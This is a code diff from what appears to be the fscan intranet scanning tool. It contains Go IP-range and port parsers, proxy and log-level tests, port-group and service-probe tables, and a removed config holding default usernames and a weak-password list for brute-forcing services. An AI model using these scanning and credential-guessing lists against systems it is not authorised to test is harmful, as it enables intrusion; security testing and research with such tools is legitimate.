return nil, ParseIPErr
|
||||
}
|
||||
SplitIP := strings.Split(IPRange[0], ".")
|
||||
ip1, err1 := strconv.Atoi(SplitIP[3])
|
||||
ip2, err2 := strconv.Atoi(IPRange[1])
|
||||
PrefixIP := strings.Join(SplitIP[0:3], ".")
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
for i := ip1; i <= ip2; i++ {
|
||||
AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i))
|
||||
}
|
||||
} else {
|
||||
SplitIP1 := strings.Split(IPRange[0], ".")
|
||||
SplitIP2 := strings.Split(IPRange[1], ".")
|
||||
if len(SplitIP1) != 4 || len(SplitIP2) != 4 {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
start, end := [4]int{}, [4]int{}
|
||||
for i := 0; i < 4; i++ {
|
||||
ip1, err1 := strconv.Atoi(SplitIP1[i])
|
||||
ip2, err2 := strconv.Atoi(SplitIP2[i])
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
start[i], end[i] = ip1, ip2
|
||||
}
|
||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
||||
for num := startNum; num <= endNum; num++ {
|
||||
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
|
||||
AllIP = append(AllIP, ip)
|
||||
}
|
||||
}
|
||||
|
||||
return AllIP, nil
|
||||
|
||||
}
|
||||
|
||||
func ParseIPD(ip string) ([]string, error) {
|
||||
realIP := ip[:len(ip)-3]
|
||||
testIP := net.ParseIP(realIP)
|
||||
|
||||
if testIP == nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
IPrange := strings.Join(strings.Split(realIP, ".")[0:2], ".")
|
||||
var AllIP []string
|
||||
for a := 0; a <= 255; a++ {
|
||||
for b := 0; b <= 255; b++ {
|
||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b))
|
||||
}
|
||||
}
|
||||
return AllIP, nil
|
||||
}
|
||||
|
||||
func ParseIPE(ip string) ([]string, error) {
|
||||
realIP := ip[:len(ip)-2]
|
||||
testIP := net.ParseIP(realIP)
|
||||
|
||||
if testIP == nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
IPrange := strings.Join(strings.Split(realIP, ".")[0:1], ".")
|
||||
var AllIP []string
|
||||
for a := 0; a <= 255; a++ {
|
||||
for b := 0; b <= 255; b++ {
|
||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(1))
|
||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(254))
|
||||
}
|
||||
}
|
||||
return AllIP, nil
|
||||
}
|
||||
|
||||
func Readipfile(filename string) ([]string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Println("Open %s error, %v", filename, err)
|
||||
os.Exit(0)
|
||||
}
|
||||
defer file.Close()
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
host, err := ParseIPs(text)
|
||||
CheckErr(text, err)
|
||||
content = append(content, host...)
|
||||
}
|
||||
}
|
||||
return content, nil
|
||||
}
|
||||
|
||||
func RemoveDuplicate(old []string) []string {
|
||||
result := make([]string, 0, len(old))
|
||||
temp := map[string]struct{}{}
|
||||
for _, item := range old {
|
||||
if _, ok := temp[item]; !ok {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
@@ -1,51 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func ParsePort(ports string) []int {
|
||||
var scanPorts []int
|
||||
slices := strings.Split(ports, ",")
|
||||
for _, port := range slices {
|
||||
port = strings.Trim(port, " ")
|
||||
upper := port
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
continue
|
||||
}
|
||||
|
||||
startPort, _ := strconv.Atoi(ranges[0])
|
||||
endPort, _ := strconv.Atoi(ranges[1])
|
||||
if startPort < endPort {
|
||||
port = ranges[0]
|
||||
upper = ranges[1]
|
||||
} else {
|
||||
port = ranges[1]
|
||||
upper = ranges[0]
|
||||
}
|
||||
|
||||
}
|
||||
start, _ := strconv.Atoi(port)
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
scanPorts = append(scanPorts, i)
|
||||
}
|
||||
}
|
||||
scanPorts = removeDuplicate(scanPorts)
|
||||
return scanPorts
|
||||
}
|
||||
|
||||
func removeDuplicate(old []int) []int {
|
||||
result := make([]int, 0, len(old))
|
||||
temp := map[int]struct{}{}
|
||||
for _, item := range old {
|
||||
if _, ok := temp[item]; !ok {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
@@ -0,0 +1,257 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/logging"
|
||||
"github.com/shadow1ng/fscan/common/proxy"
|
||||
)
|
||||
|
||||
func TestGetLogLevelFromString(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
input string
|
||||
expected logging.LogLevel
|
||||
}{
|
||||
// 标准情况
|
||||
{"all lowercase", "all", logging.LevelAll},
|
||||
{"ALL uppercase", "ALL", logging.LevelAll},
|
||||
{"error lowercase", "error", logging.LevelError},
|
||||
{"ERROR uppercase", "ERROR", logging.LevelError},
|
||||
{"base lowercase", "base", logging.LevelBase},
|
||||
{"BASE uppercase", "BASE", logging.LevelBase},
|
||||
{"info lowercase", "info", logging.LevelInfo},
|
||||
{"INFO uppercase", "INFO", logging.LevelInfo},
|
||||
{"success lowercase", "success", logging.LevelSuccess},
|
||||
{"SUCCESS uppercase", "SUCCESS", logging.LevelSuccess},
|
||||
{"debug lowercase", "debug", logging.LevelDebug},
|
||||
{"DEBUG uppercase", "DEBUG", logging.LevelDebug},
|
||||
|
||||
// 组合情况
|
||||
{"info,success", "info,success", logging.LevelInfoSuccess},
|
||||
{"base,info,success", "base,info,success", logging.LevelBaseInfoSuccess},
|
||||
{"BASE_INFO_SUCCESS", "BASE_INFO_SUCCESS", logging.LevelBaseInfoSuccess},
|
||||
|
||||
// 边界情况
|
||||
{"empty string", "", logging.LevelInfoSuccess},
|
||||
{"unknown value", "unknown", logging.LevelInfoSuccess},
|
||||
{"random string", "foobar", logging.LevelInfoSuccess},
|
||||
{"mixed case", "InFo", logging.LevelInfo}, // ToLower后匹配"info"
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := getLogLevelFromString(tt.input)
|
||||
if result != tt.expected {
|
||||
t.Errorf("getLogLevelFromString(%q) = %v, want %v", tt.input, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateProxyConfig(t *testing.T) {
|
||||
fv := GetFlagVars()
|
||||
// 保存原始值并在测试后恢复
|
||||
origSocks5 := fv.Socks5Proxy
|
||||
origHTTP := fv.HTTPProxy
|
||||
defer func() {
|
||||
fv.Socks5Proxy = origSocks5
|
||||
fv.HTTPProxy = origHTTP
|
||||
}()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
socks5Proxy string
|
||||
httpProxy string
|
||||
timeout time.Duration
|
||||
expectedType proxy.ProxyType
|
||||
expectedAddr string
|
||||
expectedUser string
|
||||
expectedPass string
|
||||
}{
|
||||
{
|
||||
name: "no proxy",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeNone,
|
||||
expectedAddr: "",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 simple address",
|
||||
socks5Proxy: "127.0.0.1:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with protocol prefix",
|
||||
socks5Proxy: "socks5://127.0.0.1:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with auth",
|
||||
socks5Proxy: "socks5://user:[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "socks5 with auth no protocol",
|
||||
socks5Proxy: "user:[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "http proxy simple",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "http://127.0.0.1:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTP,
|
||||
expectedAddr: "127.0.0.1:8080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "https proxy",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "https://127.0.0.1:8443",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTPS,
|
||||
expectedAddr: "127.0.0.1:8443",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "http proxy with auth",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "http://user:[email protected]:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTP,
|
||||
expectedAddr: "127.0.0.1:8080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "socks5 priority over http",
|
||||
socks5Proxy: "127.0.0.1:1080",
|
||||
httpProxy: "http://127.0.0.1:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with username only",
|
||||
socks5Proxy: "socks5://[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// 设置FlagVars
|
||||
fv.Socks5Proxy = tt.socks5Proxy
|
||||
fv.HTTPProxy = tt.httpProxy
|
||||
|
||||
// 调用函数
|
||||
config := createProxyConfig(tt.timeout)
|
||||
|
||||
// 验证结果
|
||||
if config.Type != tt.expectedType {
|
||||
t.Errorf("Type = %v, want %v", config.Type, tt.expectedType)
|
||||
}
|
||||
if config.Address != tt.expectedAddr {
|
||||
t.Errorf("Address = %q, want %q", config.Address, tt.expectedAddr)
|
||||
}
|
||||
if config.Username != tt.expectedUser {
|
||||
t.Errorf("Username = %q, want %q", config.Username, tt.expectedUser)
|
||||
}
|
||||
if config.Password != tt.expectedPass {
|
||||
t.Errorf("Password = %q, want %q", config.Password, tt.expectedPass)
|
||||
}
|
||||
if config.Timeout != tt.timeout {
|
||||
t.Errorf("Timeout = %v, want %v", config.Timeout, tt.timeout)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateProxyConfigEdgeCases(t *testing.T) {
|
||||
fv := GetFlagVars()
|
||||
origSocks5 := fv.Socks5Proxy
|
||||
origHTTP := fv.HTTPProxy
|
||||
defer func() {
|
||||
fv.Socks5Proxy = origSocks5
|
||||
fv.HTTPProxy = origHTTP
|
||||
}()
|
||||
|
||||
t.Run("invalid socks5 url fallback", func(t *testing.T) {
|
||||
fv.Socks5Proxy = "://invalid"
|
||||
fv.HTTPProxy = ""
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
// 即使 URL 解析失败,也应该回退到原始值或解析后的 Host
|
||||
if config.Type != proxy.ProxyTypeSOCKS5 {
|
||||
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeSOCKS5)
|
||||
}
|
||||
// URL 解析后提取 Host,对于 "://invalid" 会得到 ":"
|
||||
if config.Address == "" {
|
||||
t.Error("Address should not be empty")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("invalid http url fallback", func(t *testing.T) {
|
||||
fv.Socks5Proxy = ""
|
||||
fv.HTTPProxy = "://invalid"
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
if config.Type != proxy.ProxyTypeHTTP {
|
||||
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeHTTP)
|
||||
}
|
||||
// URL 解析后提取 Host,对于无效 URL 可能得到非预期值
|
||||
if config.Address == "" {
|
||||
t.Error("Address should not be empty")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("empty password with username", func(t *testing.T) {
|
||||
fv.Socks5Proxy = "socks5://user:@127.0.0.1:1080"
|
||||
fv.HTTPProxy = ""
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
if config.Username != "user" {
|
||||
t.Errorf("Username = %q, want %q", config.Username, "user")
|
||||
}
|
||||
if config.Password != "" {
|
||||
t.Errorf("Password = %q, want empty string", config.Password)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package common
|
||||
|
||||
import "sync"
|
||||
|
||||
// ResultCallback 扫描结果回调函数类型
|
||||
type ResultCallback func(result interface{})
|
||||
|
||||
var (
|
||||
resultCallback ResultCallback
|
||||
callbackMu sync.RWMutex
|
||||
)
|
||||
|
||||
// SetResultCallback 设置结果回调函数(Web模式使用)
|
||||
func SetResultCallback(cb ResultCallback) {
|
||||
callbackMu.Lock()
|
||||
defer callbackMu.Unlock()
|
||||
resultCallback = cb
|
||||
}
|
||||
|
||||
// NotifyResult 通知结果给回调函数
|
||||
func NotifyResult(result interface{}) {
|
||||
callbackMu.RLock()
|
||||
cb := resultCallback
|
||||
callbackMu.RUnlock()
|
||||
|
||||
if cb != nil {
|
||||
cb(result)
|
||||
}
|
||||
}
|
||||
|
||||
// ClearResultCallback 清除结果回调函数
|
||||
func ClearResultCallback() {
|
||||
callbackMu.Lock()
|
||||
defer callbackMu.Unlock()
|
||||
resultCallback = nil
|
||||
}
|
||||
@@ -1,92 +0,0 @@
|
||||
package common
|
||||
|
||||
var Userdict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
"mssql": {"sa", "sql"},
|
||||
"smb": {"administrator", "admin", "guest"},
|
||||
"postgresql": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin"},
|
||||
"mongodb": {"root", "admin"},
|
||||
}
|
||||
|
||||
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!"}
|
||||
var PORTList = map[string]int{
|
||||
"ftp": 21,
|
||||
"ssh": 22,
|
||||
"findnet": 135,
|
||||
"netbios": 139,
|
||||
"smb": 445,
|
||||
"mssql": 1433,
|
||||
"mysql": 3306,
|
||||
"psql": 5432,
|
||||
"redis": 6379,
|
||||
"fcgi": 9000,
|
||||
"mem": 11211,
|
||||
"mgo": 27017,
|
||||
"ms17010": 1000001,
|
||||
"cve20200796": 1000002,
|
||||
"web": 1000003,
|
||||
"smb2": 1000004,
|
||||
"all": 0,
|
||||
"portscan": 0,
|
||||
"icmp": 0,
|
||||
"main": 0,
|
||||
}
|
||||
|
||||
var Outputfile = getpath() + "result.txt"
|
||||
var IsSave = true
|
||||
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1118,1888,2008,2020,2100,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018"
|
||||
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
|
||||
|
||||
type HostInfo struct {
|
||||
Host string
|
||||
Ports string
|
||||
Domain string
|
||||
Url string
|
||||
Path string
|
||||
Timeout int64
|
||||
Scantype string
|
||||
Command string
|
||||
Username string
|
||||
Password string
|
||||
Usernames []string
|
||||
Passwords []string
|
||||
Hash string
|
||||
}
|
||||
|
||||
type PocInfo struct {
|
||||
Num int
|
||||
Rate int
|
||||
Timeout int64
|
||||
Proxy string
|
||||
PocName string
|
||||
PocDir string
|
||||
Target string
|
||||
TargetFile string
|
||||
RawFile string
|
||||
Cookie string
|
||||
ForceSSL bool
|
||||
ApiKey string
|
||||
CeyeDomain string
|
||||
}
|
||||
|
||||
var (
|
||||
TmpOutputfile string
|
||||
TmpSave bool
|
||||
IsPing bool
|
||||
Ping bool
|
||||
Pocinfo PocInfo
|
||||
IsWebCan bool
|
||||
RedisFile string
|
||||
RedisShell string
|
||||
Userfile string
|
||||
Passfile string
|
||||
HostFile string
|
||||
Threads int
|
||||
URL string
|
||||
UrlFile string
|
||||
Urls []string
|
||||
NoPorts string
|
||||
SC string
|
||||
)
|
||||
@@ -0,0 +1,266 @@
|
||||
package config
|
||||
|
||||
// PocInfo POC详细信息结构 - 保留给webscan使用
|
||||
type PocInfo struct {
|
||||
Target string `json:"target"`
|
||||
PocName string `json:"poc_name"`
|
||||
}
|
||||
|
||||
// CredentialPair 精确的用户名密码对
|
||||
type CredentialPair struct {
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 端口组常量 - 从common/constants.go迁移
|
||||
// =============================================================================
|
||||
|
||||
// 预定义端口组 - 字符串格式,用于命令行参数默认值
|
||||
var (
|
||||
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印 (Issue #517)
|
||||
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||
|
||||
// MainPorts 主要扫描端口 (约150个)
|
||||
// 包含: 基础服务、远程管理、数据库、消息队列、Web中间件、容器云、监控、安全设备等
|
||||
MainPorts = "" +
|
||||
// 基础服务 (21-995)
|
||||
"21,22,23,25,53,80,81,88,110,111,135,139,143,161,389,443,445,465,502,512,513,514,515,548,554,587,623,636,873,902,993,995," +
|
||||
// 代理/隧道 (1080-1883)
|
||||
"1080,1099,1194,1433,1434,1521,1522,1525,1723,1883," +
|
||||
// 远程/数据库 (2049-3690)
|
||||
"2049,2121,2181,2200,2222,2375,2376,2379,2380,3000,3128,3268,3269,3306,3389,3690," +
|
||||
// Java/中间件 (4369-5986)
|
||||
"4369,4444,4848,5000,5005,5044,5060,5432,5601,5631,5632,5671,5672,5900,5984,5985,5986," +
|
||||
// 缓存/数据库 (6000-6667)
|
||||
"6000,6379,6380,6443,6666,6667," +
|
||||
// Web/中间件 (7001-9999)
|
||||
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印
|
||||
"7001,7002,7474,7687,8000,8005,8008,8009,8080,8081,8086,8088,8089,8090,8161,8180,8443,8500,8834,8848,8880,8883,8888,9000,9001,9042,9080,9090,9092,9093,9160,9200,9300,9418,9443,9999," +
|
||||
// 管理/监控 (10000-11211)
|
||||
"10000,10051,10250,10255,11211," +
|
||||
// 消息队列/集群 (15672-27018)
|
||||
"15672,22222,26379,27017,27018," +
|
||||
// Hadoop/大数据 (50000-61616)
|
||||
"50000,50070,50075,61613,61614,61616"
|
||||
|
||||
// DbPorts 数据库端口
|
||||
DbPorts = "1433,1521,3306,5432,5672,5984,6379,7687,8086,9042,9093,9160,9200,11211,26379,27017,27018,61616"
|
||||
|
||||
// ServicePorts 服务端口
|
||||
ServicePorts = "21,22,23,25,53,110,111,135,139,143,161,389,445,465,502,512,513,514,587,623,636,873,993,995,1433,1521,1883,2049,2181,2222,3306,3389,5432,5672,5671,5900,5985,5986,6379,8161,8443,8883,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
|
||||
|
||||
// CommonPorts 常用端口
|
||||
CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
|
||||
|
||||
// AllPorts 全端口
|
||||
AllPorts = "1-65535"
|
||||
)
|
||||
|
||||
// GetPortGroups 获取端口组映射 - 用于解析器
|
||||
func GetPortGroups() map[string]string {
|
||||
return map[string]string{
|
||||
"web": WebPorts,
|
||||
"main": MainPorts,
|
||||
"db": DbPorts,
|
||||
"service": ServicePorts,
|
||||
"common": CommonPorts,
|
||||
"all": AllPorts,
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 服务探测配置
|
||||
// =============================================================================
|
||||
|
||||
// DefaultProbeMap 默认探测器列表
|
||||
var DefaultProbeMap = []string{
|
||||
"GenericLines",
|
||||
"GetRequest",
|
||||
"TLSSessionReq",
|
||||
"SSLSessionReq",
|
||||
"ms-sql-s",
|
||||
"JavaRMI",
|
||||
"LDAPSearchReq",
|
||||
"LDAPBindReq",
|
||||
"oracle-tns",
|
||||
"Socks5",
|
||||
}
|
||||
|
||||
// DefaultPortMap 默认端口映射关系
|
||||
var DefaultPortMap = map[int][]string{
|
||||
1: {"GetRequest", "Help"},
|
||||
7: {"Help"},
|
||||
21: {"GenericLines", "Help"},
|
||||
23: {"GenericLines", "tn3270"},
|
||||
25: {"Hello", "Help"},
|
||||
35: {"GenericLines"},
|
||||
42: {"SMBProgNeg"},
|
||||
43: {"GenericLines"},
|
||||
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
70: {"GetRequest"},
|
||||
79: {"GenericLines", "GetRequest", "Help"},
|
||||
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
|
||||
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
|
||||
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
|
||||
98: {"GenericLines"},
|
||||
110: {"GenericLines"},
|
||||
111: {"RPCCheck"},
|
||||
113: {"GenericLines", "GetRequest", "Help"},
|
||||
119: {"GenericLines", "Help"},
|
||||
130: {"NotesRPC"},
|
||||
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
|
||||
139: {"GetRequest", "SMBProgNeg"},
|
||||
143: {"GetRequest"},
|
||||
175: {"NJE"},
|
||||
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
|
||||
214: {"GenericLines"},
|
||||
264: {"GenericLines"},
|
||||
311: {"LDAPSearchReq"},
|
||||
340: {"GenericLines"},
|
||||
389: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
444: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
445: {"SMBProgNeg"},
|
||||
465: {"SSLSessionReq", "TLSSessionReq", "Hello", "Help", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
502: {"GenericLines"},
|
||||
503: {"GenericLines"},
|
||||
513: {"GenericLines"},
|
||||
514: {"GenericLines"},
|
||||
515: {"LPDString"},
|
||||
544: {"GenericLines"},
|
||||
548: {"afp"},
|
||||
554: {"GetRequest"},
|
||||
563: {"GenericLines"},
|
||||
587: {"Hello", "Help"},
|
||||
631: {"GetRequest", "HTTPOptions"},
|
||||
636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||
646: {"LDAPSearchReq", "RPCCheck"},
|
||||
691: {"GenericLines"},
|
||||
873: {"GenericLines"},
|
||||
898: {"GetRequest"},
|
||||
993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||
995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||
1080: {"GenericLines", "Socks5", "Socks4"},
|
||||
1099: {"JavaRMI"},
|
||||
1234: {"SqueezeCenter_CLI"},
|
||||
1311: {"GenericLines"},
|
||||
1352: {"oracle-tns"},
|
||||
1414: {"ibm-mqseries"},
|
||||
1433: {"ms-sql-s"},
|
||||
1521: {"oracle-tns"},
|
||||
1723: {"GenericLines"},
|
||||
1883: {"mqtt"},
|
||||
1911: {"oracle-tns"},
|
||||
2000: {"GenericLines", "oracle-tns"},
|
||||
2049: {"RPCCheck"},
|
||||
2121: {"GenericLines", "Help"},
|
||||
2181: {"GenericLines"},
|
||||
2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
|
||||
2375: {"docker", "GetRequest", "HTTPOptions"},
|
||||
2376: {"TLSSessionReq", "SSLSessionReq", "docker", "GetRequest", "HTTPOptions"},
|
||||
2484: {"oracle-tns"},
|
||||
2628: {"dominoconsole"},
|
||||
3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
3268: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||
3306: {"GenericLines", "GetRequest", "HTTPOptions"},
|
||||
3389: {"TerminalServerCookie", "TerminalServer"},
|
||||
3690: {"GenericLines"},
|
||||
4000: {"GenericLines"},
|
||||
4369: {"epmd"},
|
||||
4444: {"GenericLines"},
|
||||
4840: {"GenericLines"},
|
||||
5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
5050: {"GenericLines"},
|
||||
5060: {"SIPOptions"},
|
